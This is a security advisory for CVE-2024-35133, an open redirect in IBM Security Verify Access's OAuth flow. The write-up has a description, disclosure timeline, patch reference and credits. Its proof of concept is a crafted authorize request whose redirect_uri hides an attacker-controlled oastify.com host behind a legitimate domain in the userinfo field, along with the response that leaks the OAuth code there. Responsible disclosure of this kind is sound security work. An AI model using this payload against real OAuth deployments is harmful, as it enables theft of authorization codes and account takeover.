IBM Security Verify Access 10.0.0 – Open Redirect during OAuth Flow
# Exploit Title : IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow ======== < Table of Contents > ================================================ 0. Overview 1. Detailed Description 2. Proof Of Concept 3. Solution 4. Disclosure Timeline 5. References 6. Credits 7. Legal Notices ======== < 0. Overview > ====================================================== Revision: 1.0 Impact: By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to spoof the URL displayed to redirect a user to a malicious Web site that would appear to be trusted. This could allow the attacker to obtain highly sensitive information or conduct further attacks against the victim. Severity: NIST: High IBM: Medium CVSS Score: NIST 8.2 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) IBM 6.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N) CVE-ID: CVE-2024-35133 Vendor: IBM Affected Products: IBM Security Verify Access IBM Security Verify Access Docker Affected Versions: 10.0.0 - 10.0.8 Product Description: IBM Security Verify Access is a complete authorization and network security policy management solution. It provides end-to-end protection of resources over geographically dispersed intranets and extranets. In addition to state-of-the-art security policy management, IBM Security Verify Access provides authentication, authorization, data security, and centralized resource management capabilities. IBM Security Verify Access offers the following features: Authentication ~ Provides a wide range of built-in authenticators and supports external authenticators. Authorization ~ Provides permit and deny decisions for protected resources requests in the secure domain through the authorization API. Data security and centralized resource management ~ Manages secure access to private internal network-based resources by using the public Internet's broad connectivity and ease of use with a corporate firewall system. ======== < 1. Detailed Description > ========================================== During a Penetration Test of the OAuth flow for a client, it was found an Open Redirect vulnerability that can led to the leakage of the OAuth "code" variable. It was possible to bypass the parser's logic responsible for verifying the correctness and the validity of the "redirect_uri" parameter during an OAuth flow by leveraging RFC 3986 (3.2.1) providing a username and password directly in the Uniform Resource Identifier (URI). By providing as the "username" field a legitimate and expected domain, it was possible to bypass the whitelist filter used by "IBM Security Verify Access" and cause an Open Redirect to any arbitrary domain controlled by the attacker, not only altering the expected flow and redirect a user to a malicious Web site that would appear to be trusted. This could allow the attacker to obtain highly sensitive like the OAuth "code" token or conduct further attacks against the victim ======== < 2. Proof of Concepts > ============================================= ===== REQUEST ===== [[ GET /oauth/oauth20/authorize?response_type=code&client_id=[REDACTED]&state=001710863806728MPUw0xFSj&REDACTED_uri=https://legitimate.domain:bypass@0lmd9sa7p0cez16vdcldhcgygpmga6yv.oastify.com/[REDACTED]/openid/REDACTED/[REDACTED]&scope=openid+ HTTP/1.1 Host: [REDACTED] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers Connection: close ]] ===== RESPONSE ===== [[ HTTP/1.1 302 Found content-language: en-US date: Tue, 19 Mar 2024 16:04:35 GMT location: https://legitimate.domain:bypass@0lmd9sa7p0cez16vdcldhcgygpmga6yv.oastify.com/[REDACTED]/openid/REDACTED/[REDACTED]?state=001710863806728MPUw0xFSj&code=7wkH581y0uyS0nm4ff65zCqHn0WC46w7v&iss=[REDACTED] p3p: CP="NON CUR OTPi OUR NOR UNI" x-frame-options: DENY x-content-type-options: nosniff cache-control: no-store x-xss-protection: 1; mode=block x-permitted-cross-domain-policies: none cross-origin-resource-policy: same-site content-security-policy: frame-ancestors 'none' referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains pragma: no-cache Content-Length: 0. ]] ======== < 3. Solution > ====================================================== Refer to IBM Security Bulletin 7166712 for patch, upgrade or suggested workaround information. See "References" for more details. ======== < 4. Disclosure Timeline > =========================================== 19/03/2024 - Vulnerability discovered by the Security Researcher (Giulio Garzia) 21/03/2024 - Vulnerability shared with the client who committed the Penetration Test on his infrastructure, relying on IBM SVA 02/04/2024 - Vulnerability shared with IBM 02/04/2024 - Vulnerability taken over by IBM 14/05/2024 - Vulnerability confirmed by IBM 18/07/2024 - Pre-release provided by IBM to the customer to verify the resolution of the vulnerability 27/08/2024 - Security Bulletin and vulnerability shared by IBM ======== < 5. References > ==================================================== (1) https://www.ibm.com/support/pages/security-bulletin-security-vulnerability-was-fixed-ibm-security-verify-access-cve-2024-35133 (2) https://exchange.xforce.ibmcloud.com/vulnerabilities/291026 (3) https://nvd.nist.gov/vuln/detail/CVE-2024-35133 (4) https://cwe.mitre.org/data/definitions/178.html ======== < 6. Credits > ======================================================= This vulnerability was discovered and reported by: Giulio Garzia 'Ozozuz' Contacts: https://www.linkedin.com/in/giuliogarzia/ https://github.com/Ozozuz ======== < 7. Legal Notices > ================================================ Copyright (c) 2024 Giulio Garzia "Ozozuz" Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on,this information. |